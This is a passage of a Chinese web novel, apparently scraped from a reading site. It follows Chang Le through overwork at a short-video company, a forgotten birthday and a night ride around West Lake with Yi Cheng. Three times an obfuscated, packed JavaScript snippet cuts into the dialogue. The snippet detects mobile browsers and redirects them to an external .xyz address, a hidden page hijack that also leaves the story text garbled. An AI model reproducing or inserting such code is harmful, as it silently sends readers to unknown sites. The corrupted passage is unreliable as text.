第二天,常乐没有主动找易诚。她去了姥爷拍戏的片场,在那套华丽的大别墅里,再次见到了小西瓜和她的妈妈。 也许是因为现场人多眼杂,这次,短发女人对小西瓜表现得很体贴,一会儿喂零食,一会儿擦汗。 在母女身后,有个男人一直举着手机在拍摄。 “小西瓜!”男人忽然放下手机,呵斥道,“在家里怎么教你的?坐姿要端正。要跟妈妈多互动。” 小西瓜局促地并拢手脚,挺直腰板。 “念台词啊。” 小西瓜指着短发女人手上的零食,问:“妈妈,这是什么?” 短发女人字正腔圆道:“这是爱米金牌奶酪棒啊,里面富含有多种维生素和矿物质,能促进儿童健康成长……” “妈妈,真好吃。”小西瓜摇头晃脑地说,“再给我一根吧!” 常乐撇开视线,默默退到角落里。 还不如看姥爷拍狗血剧有意思呢。 晚上,易诚下班后给常乐打了个电话,听说姥爷还在拍戏,他兴致勃勃地说想来观摩一下。 常乐给他发了个定位,估摸着时间快到了,便起身去接他。 文创园里光线昏暗,隔很远才有一盏路灯。一想到易诚随时会出现,常乐没来由地紧张起来,在厂房大门外来回踱步。 易诚到得比她预想的要快。他骑着小电驴,像一道影子般无声地穿过黑夜,驶入昏黄的灯光下,最后,轻盈地停在常乐跟前。 “哇,刚找到工作就买车了?”常乐来回打量着他的小电驴,惊讶地问。 易诚说:“跟同事买的二手车,才五百块。” 他停好小电驴,从车尾箱里拎出两个塑料袋,里面方方正正的,看上去像打包盒。 “什么啊?”常乐明知故问。 “我猜你肯定没吃饭,对不对?”易诚眼里带着笑意,歪着脑袋望着她,像是等待夸奖的小孩。 常乐慌忙躲开视线,也不知在心虚什么,嘟囔道:“我要减肥了。昨天跟我爸视频,他说我的脸都圆了一圈。” “那是因为你作息太不规律了。”易诚渐渐收敛笑意,神色变得严肃,“谁凌晨三点吃完宵夜就睡觉,还能不胖啊?” 常乐一时语塞,只好岔开话题:“走吧走吧,你还没见过拍短剧吧?对了,你吃莲蓬吗?我让我爸寄点?” 两人沿着长长的通道往里走,路过一间摄影棚没关门,易诚进去转了一圈,惊奇地说:“这个房间好眼熟啊,我经常在短视频里看到。” “所以说,网上很多东西都是假的。”常乐说,“明白了这一点,你就会发现,短视频其实挺没意思的。” 易诚若有所思道:“对,还是要回归到现实生活中。” 常乐叹了口气,“现实生活更没意思。” 易诚一时默然,关上门跟在她身后。空寂的过道里回响着两人的脚步声。 走到最里面的摄影棚前,常乐推开门,霎时被明晃晃的灯光刺得几乎睁不开眼。 “哇,这里好豪华啊。”易诚好奇地四处张望,摸摸天鹅绒窗帘,又敲敲罗马立柱,“这个场景我好像也见过。” 常乐嗤笑道:“少看点短剧吧。” 她在角落里找到正在背台词的姥爷,又搬来一只露营餐桌和几张折叠椅,将易诚带来的餐盒摆放整齐。 易诚一边掀开盒盖,一边担心地问:“姥爷,这么晚了还拍戏,您身体能吃得消吗?” 姥爷拍拍胸脯,自信满满地说:“完全没问题,我现在是精力充沛,干劲十足。” 在吃饭之前,他还找工作人员要了一杯咖啡。 “这么晚了还喝咖啡?”易诚探着脑袋望去,“还是热美式?您今天还睡觉吗?” 姥爷呷了一口咖啡,慢悠悠地说:“今天还有两场戏要拍,不知道要熬到什么时候,先喝杯咖啡提提神。” 常乐斜乜着他,没好气地说:“老爷子现在可洋气了,每天都得喝咖啡、吃沙拉、还做瑜伽,比小红书上的姐妹们过得还精致呢。” 易诚又震惊又想笑:“不是,姥爷你这……” 他一时找不到合适的词汇,说重了怕姥爷生气,说轻了又不痛不痒,最后只得无奈地说:“行吧,也算赶上时代的潮流了。希望我老了以后的生活,也能像您一样丰富多彩。” 常乐啃着一只烤猪蹄,哧哧地笑了。 姥爷浅浅地吃了几口菜,就被喊去拍戏了。 易诚注视着他的背影,担忧地问:“他就吃这么点吗?” “他在戒碳水呢,说胖了上镜不好看。”常乐一脸无语,“都一把年纪了,偶像包袱还这么重。” 他们快速吃完饭,收拾好垃圾后,就去围观姥爷拍戏。 只见一个挺着孕肚的美貌少妇正在教唆一个小女孩撕掉一张山水画。这时,身穿高定西装的姥爷气势汹汹地走了进来,见到满地的碎纸,顿时大发雷霆:“这是张大千的真迹,是我花重金从一个海外华侨那儿买的!到底是谁干的?” 美貌少妇立刻变了脸,哭哭啼啼地说:“老爷,我一进来就看到这个小丫头在撕画,我根本来不及阻止,呜呜呜……” 姥爷气得脸涨得通红,拐杖用力杵着地板,大骂:“果然是个没教养的野丫头!跟你妈一样!” 小女孩从地上捡起一张碎纸,举到姥爷面前,奶声奶气地说:“爷爷,这幅画是假的。你看,这幅山水画是模仿石涛的画风,但是四十年代后,张大千去了敦煌,画风有了很大的转变。” “嚯!”易诚大受震撼,“这小孩是神童吧?” 常乐轻笑一声,“看这种剧就不能带脑子。” 小女孩继续说:“但是他、他……” 她好像忘词了,眼角偷偷瞟向举着手机的小叶,生硬地念道:“但是,这幅画的落款时间是,呃,是二十世纪六十年代……” “卡!”编导举手喊停。 摄像机一停,短发女人大步冲上来,揪着小女孩的耳朵骂道:“就这么几句台词,都背了一天了还没记住!真是个猪脑子!” 易诚忿忿不平道:“这谁啊?” “她妈。”常乐小声说。 她举起手机,打开摄像功能,放大画面。 “你在干嘛?”易诚问。 常乐伸出手指“嘘”了一声,又悄悄躲到他身后,从他的胳膊旁边露出手机的摄像头。 上次没有留下证据,这次机会来了。 不过,当着众人的面,短发女人也不敢太猖狂。常乐只录了一小段,她思来想去,将视频发给了常悦。 常悦今天也休息,很快回了个:【?】 常乐:【这个小女孩你认识吧?叫小西瓜,在网上还挺火的。】 常悦:【认识,怎么了?】 常乐:【你不觉得她妈在虐待她吗?!】 常悦:【这种事很常见,没什么奇怪的。打的又不是你的小孩,你这么激动干嘛?】 常乐:【!!!】 常乐气得关掉手机,发誓未来一个月都不跟常悦说话。 然而,才过了一个星期,她就提着常建民寄过来的莲蓬,屁颠屁颠地跑到常悦的公寓,一边剥着莲蓬,一边怨气冲天地吐槽:“你不知道,我写的那个小孕妇系列的短视频,剧情已经离谱到什么程度了!那对癫公癫婆,我都不想再多看一眼!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048578|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我知道,我也在追呢。”常悦轻笑一声,镶钻的长指甲轻轻抠开莲子,挑出里面的莲心。 常乐一下子噎住了,满脸费解地问:“这种脑残视频你也看?你真是闲出屁来了。” 常悦哈哈大笑道:“我都是边看边骂的。我就想看看,这个小孕妇什么时候能醒悟,然后加入苦瓜大队,每天过得鸡飞狗跳,又离不了婚,只能在网上抱怨几句。” 常乐若有所思道:“原来网友都是这种心理啊,我懂了。你还想看到什么剧情?” 常悦想了想,说:“我想看婆媳吵架,老公出轨,家里穷得揭不开锅,小孕妇不得不出去找工作,与此同时,她的同学要么找到了好工作,要么考研成功,要么嫁得非常好,总之,要跟她的处境形成强烈的对比。” 常乐啧啧感叹:“你真是见不得别人好啊。” 常悦眉头一挑,说:“这样才有教育意义,好吧?你难道要鼓励这种行为吗?好不容易考上大学,结果被小黄毛几句花言巧语就骗走了,年纪轻轻就生孩子,荒废学业,这种人配过好日子吗?” 常乐点点头,“对,我还是不够狠心。剧情越狗血,结局越悲惨,越有教育意义。” 她举起桌上的奶茶,向常悦敬酒:“谢谢啦!” “谢什么?”常悦又拿起一只莲蓬,“我就是随口一说。” 常乐吸了一口奶茶,认真地说:“谢谢你,让我找到了这份工作的意义啊。” 常悦笑着说:“别喝啦。你看你,工作之后都胖了多少?再这样下去,你都可以改行做大码女装的模特了。” 常乐一口奶茶噎在喉咙里,吐也不是,咽也不是。 “对了,说到模特,”常悦突然来了兴致,“听说你那个青梅竹马也来杭城了?” 青梅竹马……听上去好暧昧啊。 常乐脸颊微微发热,怕她看出端倪,便佯装嫌弃道:“什么青梅竹马?就是同一个小区的邻居,听说杭城工作机会多,也来这边打工呗。跟我有什么关系?” 常悦说:“我之前去你家,见过他一次,身材长相都很优越。他找到工作了吗?要不介绍他来我们公司?我们正在招男装主播呢。” “他?算了吧。”常乐一口回绝。以易诚的性子,肯定不想做这种抛头露面的工作。“还不如让我去卖大码女装呢。” 常悦斜瞟她一眼,嗤笑道:“等你再胖个十斤,我就给你介绍。” -- 这天晚上,常乐在常悦的公寓留宿,没有了室友的打扰,她破天荒地在十二点之前就睡觉了。 也许是生物钟已经紊乱了,她睡得并不安生,半夜隐隐听到有人在房间里走来走去。 她迷迷瞪瞪地睁开眼,看到阳台上有一抹白色的影子。 常悦趴在玻璃护栏上,手中拿着一瓶洋酒。琥珀色的液体只剩下半瓶,随着她手腕的晃动而轻轻荡漾。 夜风吹起她的真丝睡袍,像一只脆弱的蝴蝶,在城市的高空震颤着翅膀。 常乐静静地凝望着她的背影,没有出声惊扰。 常乐不知道她在想什么。 只隐约察觉到,她过得并不开心。 她总是很焦虑,为了流量,为了业绩,为了不确定的未来,还会因为看到别人的成功,而陷入自我情绪的泥潭。 常乐想起小时候,姐妹俩一起看一档综艺,常悦指着电视,兴奋地说:“我以后也要当主持人!” “好哇好哇。”常乐拍着巴掌,“以后我就能在电视上看到你了!” 如今,她虽然没有上电视,没有当上主持人,但是成为了一名主播,每天打扮得光鲜亮丽,出现在镜头前面。 四舍五入,也算是实现了梦想。 可是,她为什么还是不开心呢? 常乐想不明白。 她又想到了周俊臻,那天晚上,他上车前,冲她挥挥手,留下一个苦涩的笑。 还有远在厦城的林郁青,想必也过得很辛苦。 难道大城市真的会吞噬快乐吗? 那我呢?常乐忍不住问自己,我现在过得开心吗? 这样的生活,真的是我想要的吗? 74. 74 进入七月后,常乐的工作更忙了。 “小孕妇”系列短视频因为加入了“准爸爸”疑似出轨的剧情,播放量大增,评论区也空前热闹。常乐打算乘胜追击,下一步就安排小两口离婚。 脚本交上去,却被余组长毫不留情地打回了—— “都离婚了,网友还追什么呢?” 常乐兴冲冲地说:“现在都流行大女主嘛,我打算让她重返校园,一边打工一边继续学业,孩子先让父母帮忙带着——” “那男主呢?” “他?”常乐嘴角一撇,“哪儿凉快哪儿呆着去。” 余组长不耐烦地“啧”一声,“他可是我们公司的签约艺人。他接的广告,比女主还多呢,必须给他多加点戏份。”她思索片刻,“这样吧,你给他安排一段追妻火葬场的剧情,让他痛改前非,创业成功,然后花式追妻。” 常乐转过头,默默翻了个白眼。 “既然这样,那还离什么婚啊?凑合过得了。” 由于常乐表现出色,又任劳任怨,实习第二个月,她的工资就涨到了六千五。 与此同时,堆在她身上的活儿也越来越多了,从内容策划,到拍摄指导,到视频制作,甚至连运营推广的任务都找上了她。 “亲爱的,这个项目你从头跟到尾,最清楚它的卖点。这段推广文案你来写一下吧。”运营组的老油条笑眯眯地说。 常乐已经忙得焦头烂额了,电脑里还有成吨的视频素材需要在这周末之前剪辑完。 她婉拒道:“不好意思啊,我真的忙不过来。” “哎哟,能者多劳嘛。就一段文案,几分钟就写好了。”老油条语气温柔,却不容置喙,“下班前发给我哈。” 这样的事发生过很多次,甚至,即便常乐都坚定地拒绝了,对方依然像个NPC一样,不断重复着一句话:“那就麻烦你啦!” 活儿越堆越多,原本期待的双休,也渐渐成了奢望。周一要继续剪周日没剪完的视频,周二要提前写周三要用的脚本。常悦几次约她出去玩,她都腾不出时间。 终于在一个中午,她勉强挤出两个小时,跟常悦出去吃了顿寿司。 常悦听她一顿吐槽,哀其不幸又怒其不争:“你呀,就是那种典型的职场老实人。老师眼里的好学生,老板眼中的好员工,你这种人啊,最好拿捏了。” 常乐委屈地辩解:“我就是想把工作做好嘛。” “做不好又能怎么样呢?扣你钱还是开除你?”常悦夹起一片三文鱼,蘸了点芥末酱,轻飘飘地说。 做不好?常乐从来没想过。她心头似乎有一股气儿,总想着证明自己。 在这一点上,她跟林文娟倒是挺像的。 常悦继续说:“本想着这两天带你去莫干山避暑的,我老板在那里开了家民宿。你来杭城后还没出去玩过吧?” “上次已经去过很多地方了,西湖、灵隐寺、西溪湿地……” 常乐说着说着,一时有些恍惚,上次旅游仿佛是很久之前的事了。 可是,她仔细一算,不是才过去两个多月吗?怎么感觉像是过去了半辈子? 再一想,她一直盼望着来大城市,可是来了之后,又整天窝在这栋公寓里,在公司和宿舍之间机械地运行着两点一线的轨迹,饿了就点外卖,没事几乎不出门…… 这座城市的繁华和美丽,她根本没时间享受。那她来大城市的意义是什么呢? 常悦见她闷不吭声,以为她又在为工作的事发愁,便分析道:“我觉得你们公司的管理有点混乱,运营的活儿怎么能丢给编导呢?而且,一般公司都有专业的剪辑师,编导只需要提供剪辑思路就行,不用自己动手。” “我们公司也有,只不过人手不够。”常乐叹了口气,“所以我们什么都得干。” 常悦提议道:“不如你跳槽吧?换家正规点的公司,只做编导的工作,这样能轻松许多。” 常乐抬起迷茫的双眼,喃喃地说:“其它公司不用加班吗?” 常悦说:“加班是肯定要加的,只是程度不同。就像我们公司的编导,早上九点上班,晚上加一两个小时的班,基本上八点就能走,没有那么辛苦。只可惜,我们公司的编导不招人——” 听到这句,常乐眼里好不容易亮起的光,又瞬间熄灭。 常悦继续说:“别灰心嘛。我给你推荐几家大公司,你去网上查查,或者直接打电话问,看他们还招不招人。” 她拿起手机,开始噼里啪啦地打字。 不一会儿,常乐就收到了她的微信。她逐个念着公司的名称,忽然“欸”了一声,“这个佳艺文化传媒,我好像在BOSS上看到过。” 常悦点点头,“这家挺不错的,我有个小姐妹在那里做主播,待遇比我的好多了。要不是合同还没到期,违约金太高,我都想跳槽了。” 常乐放下手机,重新拿起筷子,夹起一块寿司囫囵塞进嘴里。 “行,等我忙完手头上这几个项目,就去投简历。” 常悦哼笑:“等你忙完,黄花菜都凉了。” 常乐解释道:“我想先把项目做出成绩,简历也好看一点嘛。” “真是个职场老实人。”常悦无奈地摇摇头。 吃完饭,常乐回到办公室。周一加班的人不多,除了她和小叶,还有几个黑眼圈堪比国宝的剪辑师。 常乐打了个哈欠,将打包带回的冰美式递给小叶,自己去茶水间泡了一壶浓茶。 今天不把视频剪完,明天就得继续加班,那她的休息日就彻底泡汤了。所以,她就是累死在公司,也要保住明天的单休。 加班的同事们陆续走了,小叶也离开了,办公室里只剩下常乐一个人。 敲击键盘的动作一停,四周彻底安静下来,窗外的天早已黑透。 常乐看了眼手机,已经十一点了。 几个小时前,易诚发来了几条微信: 【还在加班吗?】 【要不要一起吃晚饭?】 【你几点下班?我给你买点吃的吧。】 最后是一个委屈巴巴的表情包。 常乐叹了口气,给他回复:【刚刚才看到。你自己吃吧,我不饿。】 易诚很快回复:【你还在加班啊?】 常乐回了个流泪猫猫头的表情包。 她放下手机,伸了个懒腰,活动了一下肩膀和手腕,继续点灯熬油。 不知过了多久,门铃似乎响了。 常乐还以为是自己剪视频剪出了幻听,没太在意。 铃声在持续,常乐这才反应过来,不禁心生疑惑:这么晚了,谁会过来?是保洁来搞卫生?还是保安来巡查? 常乐僵硬地站起身,腰上袭来一阵酸痛,她隐约听到关节在咯吱作响。 她扶着腰走出办公室,看到玻璃门外有一道颀长的人影。 她微微一愣,赶忙跑过去拉开门,惊讶地问:“你怎么来了?” “给你送吃的啊。”易诚微笑着说,提起手中的塑料袋,轻轻晃了晃。 常乐望着他,心情有些复杂,惊喜与感动交织,又掺杂一丝愧疚——从他发来第一条微信起,已经过去五个小时了。她那么久都没有回复,而他,依然在惦记着她有没有吃晚饭。 常乐把易诚带到自己的工位,坐下,打开他手中的塑料袋,从里面端出一盘煮熟的馄饨,然后倒进一碗热气腾腾的汤里。 白色汤汁香味扑鼻,上面泛着油花,葱花和紫菜随着汤匙的搅拌浮浮沉沉。 轻呷一口热汤,感觉味蕾都鲜活起来了。馄饨个个皮薄馅大,咬一口,温软鲜香,顺滑入喉。 易诚坐在小叶的位置上,看着常乐几乎把脸埋进碗里,忍俊不禁道:“慢点吃,我又不跟你抢。” 常乐低着头,没接话,只顾着一个接一个地把馄饨往嘴里塞。 易诚伸长脖子四处张望,问:“就你一个人在加班?” 常乐“唔”了一声,“他们都回去了。” “你呢?几点能做完?” “这个视频素材太多了,而且要一帧一帧地剪,比较麻烦。组长让我10号之前给她。” “10号?”易诚想了想,“今天才8号,明天也能做啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058260|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可是我明天不想加班,所以今天必须——”常乐的声音忽然顿住,缓缓抬起头,一脸惊恐地问:“今天是8号?” 易诚被她的表情吓住了,“对啊。怎么了?” “7月8日,农历就是……”常乐慌忙放下勺子,掏出手机,声音都颤抖了,“六月十四!今天是我妈的生日!” “啊?”易诚也震惊了,“你妈的生日,你现在才想起来?” 常乐:“……” 她的眼泪霎时涌上眼眶,顺着脸颊滚落下来,一颗一颗,砸进汤里。 “没事没事。”易诚顿时慌了,急忙安慰她,“现在还没过十二点呢,还差——”他瞥了一眼电脑右上角,“十二分钟。你现在跟她打电话还来得及。” 常乐流着眼泪,摇摇头。 “这么晚,她都睡了。”她吸了吸鼻子,声音瓮瓮的,透着浓浓的懊恼,“而且,以前我都是一大早就给她发祝福的。今天怎么就忘了呢?” 易诚终于在小叶的桌上找到抽纸盒,急忙扯出两张纸,给她擦了擦眼泪。 “你太忙了嘛,她肯定能理解的。” 常乐接过纸巾,大力擤着鼻涕,又发出一声啜泣。 “我都好久没跟我妈打电话了,现在居然连她的生日都忘了,她肯定对我很失望。” “不会的,林姨不是那种小心眼的人,你明天给她打个电话解释一下嘛。”易诚轻拍她的后背,忽然想到什么,语气顿时兴奋起来:“对了,今年有闰六月,知道吧?” 常乐一脸懵地看着他,“……哈?” 易诚一本正经道:“这就意味着,你妈今年可以过两个生日。这一个来不及了,下一个再给她补办嘛。” 常乐愣愣地问:“可以这样吗?” “完全可以。”易诚拍着胸脯保证,“林姨肯定也是这么想的,所以今天没跟你提这件事,就是想下个月再庆祝。” 常乐呆愣了一会儿,掏出手机,打开“相亲相爱一家人”的群,发现群里没有半点动静。再打开朋友圈,也没有人发聚餐或者生日蛋糕的照片。 常乐的心勉强落回了肚子里。 见她脸色好转,易诚笑着劝道:“赶紧吃吧,汤都冷了。” 常乐低着头,重新拿起勺子,捞起一枚馄饨,塞进嘴里。喉咙里依旧翻涌着一股酸涩的味道,馄饨泡软了,变凉了,也失去了最初的美味。 常乐闷闷地说:“可是,我还是觉得好内疚。我都好久没跟父母打电话、发视频了。我的生活里除了工作,好像什么都不剩了。” 易诚温声安慰道:“我知道,你不是不想打,只是每次下班都太晚了,怕打扰他们休息。” 常乐眼眶又红了,抽了张纸巾,擦了擦鼻子。 易诚继续说:“有时候,白天有空,想给他们打,又怕他们问你吃饭了没,工作累不累,晚上几点睡觉。你怕说实话会让他们担心,又不想撒谎骗他们,干脆就不打电话了。” 常乐低着头,抹了抹眼泪,哽声道:“你怎么什么都知道?” 易诚笑了下,“不光我知道,我相信你爸妈也知道,所以他们不会怪你的。” “我真的……”常乐喉咙一哽,用纸巾捂住眼睛,断断续续地啜泣道:“我、我真的……好想回家啊。” 易诚端走她桌上的汤碗,盖上盖子,连同勺子和用过的纸巾一起装进塑料袋。 “别加班了。”易诚站起身,拍拍常乐的肩膀,“走吧。” 常乐慢慢拿开纸巾,仰着脸,懵懵地望着易诚,问:“去哪儿?” “带你回家,我现在还做不到。不过,可以带你兜兜风。”易诚手指勾着钥匙圈,潇洒地甩了甩,“正好,我的小电驴今天刚充满了电,可以跑四十公里呢。” “……你等等啊。” 常乐愣了几秒,转过头,保存好电脑上的文件,然后果断关机。 她站起身,拎起自己的包,兴冲冲地说:“咱们去夜游西湖吧!” 易诚垂眸对上她的眼睛。她的眼眶依旧泛红,睫毛潮湿,眼里却缀着光。 他弯唇一笑,“好啊。” 75. 75 凌晨十二点的街道空寂无人,路灯洒下一片昏黄。小电驴载着两个人,在夜风中飞驰而过,轻盈得如在梦中,地上划过一道又一道斜长的影子。 路过一片还算热闹的街区,小摊贩们也陆续收摊,蹬着三轮车离场。有家炸串摊生意还不错,几个年轻人正在摊前挑选着食材。 常乐用手指戳戳易诚的肩膀,“哎哎”两声,指着那个小摊说:“咱们去买点宵夜吧!” “你不是刚吃完馄饨?”易诚嘴上这么说,手腕还是很听话地松开了,小电驴慢慢朝小摊滑去。 “骑着骑着就饿了嘛。”常乐下了车,两眼放光地走到小摊面前。 易诚停好小电驴,无奈地笑了下,也跟了上去。 鸡排、鸡柳、土豆片、杏鲍菇、红薯……油锅滋滋作响,各种食物在里面翻腾,发生美妙的化学反应,散发出诱人的香味。 街对面有人在唱歌,嗓音低醇,伴随着温柔的吉他声,如念诗般娓娓道来: “每个路口花都开在阳光里, 小店门前传来好听的恋曲, 不用太久就能走到目的地, 人来人往里满是善意……” 常乐望着路灯下唱歌的年轻人,眼眶微微发热。 “正好是我喜欢的歌!”她转过头,兴奋地对易诚说。 易诚微微一笑,语气有几分无奈:“喜欢就喜欢,你哭什么?” 常乐撇开脸,瘪瘪嘴,眼泪在眼眶里打转。 “一听到这首歌,我就忍不住想家。” 年轻歌手的歌声温暖而治愈,伴随着油锅的滋滋声,在常乐的耳畔回荡: “这是最平凡的一天啊, 你也想念吗, 不追不赶慢慢走回家, 就这样虚度着年华,没牵挂, 只有晚风吹拂着脸颊……” 常乐慢慢走到他面前,掏出手机,扫了他音箱上贴的二维码,给他转了二十块钱。 伴随着最后一段旋律缓缓收音,年轻歌手放下拨弦的手,冲她点头微笑,问道:“小姐姐要点什么歌呢?” 常乐吸了吸鼻子,说:“唱一首《小王》吧。” 歌手面露难色,“我不会唱什么《小王八》,只会唱《小乌龟》,可以吗?” 常乐:“……” 七月的夜晚,忽然有点冷。 歌手见她不搭腔,干笑了两声,“开个玩笑啊。来,一首《小王》,送给这位可爱的小姐姐。” 动人的旋律再度响起,易诚也提着打包好的炸串,走到常乐身边。 两人并肩听完了这首曲子。 歌声温暖,夜风也温柔,整个世界,仿佛都变得宁静而平和。 重新坐上小电驴,常乐的心情舒畅了许多。刚刚的旋律还在脑海中回荡,她忍不住轻声哼唱:“如果我在角落里遇见他,碰巧有风吹乱他的头发……” 快到西湖了,路边的行人渐渐多了起来,常乐却唱上瘾了,声音越来越大:“我会伸出还温热的手掌,告诉他明天会有多晴朗……” 易诚的声音随着夜风往后飘:“这是刚才的那首歌吗?” 除了歌词一样,其他的,可以说是毫无关系。 “是啊。”常乐不好意思地说,“我从小唱歌就跑调。班上排练大合唱,都要单独把我拎出来,免得影响其他人。” 易诚憋着笑,说:“换个角度想,你很有改编的天赋。” 常乐忍不住大笑起来。 小电驴沿着南山路,一直骑到杨公堤,一路上起起伏伏,时而缓慢爬坡,时而轻快俯冲,如同乘坐小船,在起风的湖面上随波荡漾。 路上骑行的人不少,大多是学生模样的年轻人,身上还散发着活人的气息。 遛狗的人也挺多,常乐听说,杭城规定不许白天遛狗,许多狗在家憋了一天,只能晚上偷偷摸摸出来拉屎。苦了这些狗,也苦了当牛做马一整天的主人们。 常乐忽然想起了胜宝,以前都是她跟姥爷轮流遛狗,现在,两个铲屎官都在外地,也不知她在家里会不会无聊。 “哎,”常乐又戳戳易诚的后背,“你就这么走了,图图和柯牧一谁来照顾?” 易诚说:“我送到隔壁王大妈家了,她挺喜欢图图的。以前还跟我商量,要是图图去配种了,能不能给她留一只。” “那就好。”常乐唏嘘道,“还是家里有人情味儿啊。我们公寓有家宠物店,听说寄养要一百块一天呢。” 小电驴缓缓停在宝石山脚下,两人提着宵夜下了车,又在路边的售货机上买了两瓶水,沿着登山步道悠闲地往上爬。 爬山的人不多,好在隔几米就有路灯,身边又有易诚这个可靠的保镖,常乐倒也不害怕。 爬了十几分钟就登顶了,两人坐在一块平坦的大石头上,眺望月光下的西湖。 常乐用竹签戳起一根鸡柳,嚼了两口,虽然已经不热了,但还是儿时的味道。 她盘起双腿,慢悠悠地说:“要我说,大城市也没什么了不起的,它有的东西,我们那个小地方也有啊。比如,西湖。”她用竹签指了指山脚下如墨玉般的湖面,“咱们的慈湖,我觉得跟西湖差不多,也能骑车、遛狗、划船,春天赏樱,夏天赏荷,秋天赏枫,冬天赏雪。除了名气没有西湖大……不过,要那么出名干嘛呢?一个地方一旦成了网红,就变得拥挤嘈杂,渐渐商业化,失去了最初的感觉。” 她往嘴里塞了一块炸杏鲍菇,边嚼边说:“再说到商业,咱们那儿也有几个大商场啊,平时逛街足够了。那些没有的品牌,你可以网购,或者去江城买。这里商场虽然多,难道你每天都逛吗?你逛得完吗?” 易诚淡淡地说:“我觉得,大部分人选择留在大城市,不是因为风景或者商业,而是因为这里工作机会多。” “说到工作,我就更想无语了。”常乐忿忿不平地说,“你说现在的公司怎么都这样?根本不把人当人看……” 一提到公司,她就开启了吐槽模式,喋喋不休地骂了半个小时。 易诚静静地听着,偶尔拧开瓶盖,将饮料递给她解渴。 等她骂累了,继续吃炸鸡柳,易诚才心平气和地分析道:“大城市就像一台高效运转的机器,每个人都是里面的零部件。它讲规则,追求效率和公平,付出劳动就有回报,许多年轻人都喜欢这一点,所以宁愿辛苦一点,也要留在大城市。” 常乐皱眉,不赞同他的说法:“可是,人毕竟不是零部件啊。” “所以,这就是很多人痛苦的根源。”易诚叹了口气,“公司把你当零部件,久而久之,你也把自己当成了零部件。但人是有感情和思想的,你没办法忽视自己的感受。工作久了,你会疲惫,会怀疑,会挣扎,会痛苦。归根结底,你是个人,不是工具。” 常乐低下头,喃喃自语道:“难怪,我身边的每一个人,好像都不开心。”顿了顿,她又补了一句:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064904|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包括我。” 易诚转过头,静静地凝望着她,眸光深沉,如夜晚的湖面。 “可是,我发现了一个例外。”常乐忽然抬起头,“就是你呀。” “我?”易诚不解道,“我怎么了?” 常乐咧嘴一笑,“你就过得挺开心的啊。” 她一开始不赞同易诚做这份工作,觉得以他的实力,不应该屈尊于此。但是,他做了一个多月,不仅培训成绩突出,拉客能力也一流,还跟同事们相处得很和谐,老板也主动提出可以给他提前转正,生怕失去了这样一个人才。 易诚笑了,坦言道:“这份工作比我之前开培训班要轻松多了。” 常乐说:“我承认,我之前对这份工作有偏见,总觉得你应该找一份体面的工作。可是,现在想想,到底什么才叫体面呢?像我这样成天日夜颠倒、加班成狗吗?还是像俊臻哥那样,每天勤勤恳恳,最后还是被毫不留情地裁员吗?” 她迎上易诚的目光,真诚地说:“我觉得,像你这样,有一技之长,在哪儿都能活得很好的人,才最令人羡慕。” 易诚移开视线,挠了挠头,“说得我都不好意思了。就是轮滑而已,你要是想学,随时都可以学,不算什么一技之长啦……” 他转过头,假装在观察山顶的一棵树,嘴角却泄露了心事,都翘到耳根了。 凌晨四点之后,上山的人逐渐增多,他们坐的石头上也渐渐挤满了人,都盯着日出的方向翘首以盼。 “咱们换个地方吧。”易诚提议。 “行。”常乐也不喜欢拥挤。 她站起身,收拾好自己的垃圾,又拍了拍屁股上的灰。 两人逆着人流下了山,重新坐上小电驴,沿着湖边小道晃晃悠悠。 夜色还未消褪,天边浮起一层浅淡的光。 湖面吹来的风带着几分凉意,灌进易诚的T恤里,湖畔的柳条随风招摇,轻抚着他的头顶。 他恍惚想起了那个初春的夜晚,方凛载着他和父亲,在小城里穿街过巷,在湖边偶遇一朵绽放的樱花,在幽暗的江滩上,看到芦苇在春夜里蓬勃生长。 他仿佛能闻到那一缕青草的清香,混杂着潮湿的江风。 那天,常乐没有去。照理来说,这是她安排的惊喜,她应该一起见证的。但车上位置有限,她自觉地退居幕后,把那个永恒的夜晚,留给了他和父亲。 对她,易诚永远心怀感激。 “你说,我过得开心。”他忽然开口,“其实,还有个原因。” 风将他的声音吹散,常乐听得有些模糊,便扯着嗓子问:“什么?” “因为,我来到这里,不是为了打工赚钱、出人头地的。” “那是为了什么?” 常乐的声音还算平静,心跳却忽然不受控制地加速。 易诚迎着风,大声说:“是为了监督你好好吃饭的。” 常乐哈哈大笑起来,心跳渐渐恢复平缓,甚至有一丝如释重负。 她笑侃道:“那你的任务完成得很失败啊。” “因为某人太不自觉了!”易诚佯装愤怒地控诉。 常乐渐渐止住笑,“行,从明天起——” 不对,现在已经是今天了,她纠正道:“从今天起,我一定按时吃饭,每一顿都荤素搭配,健康美味。这样可以了吧?” 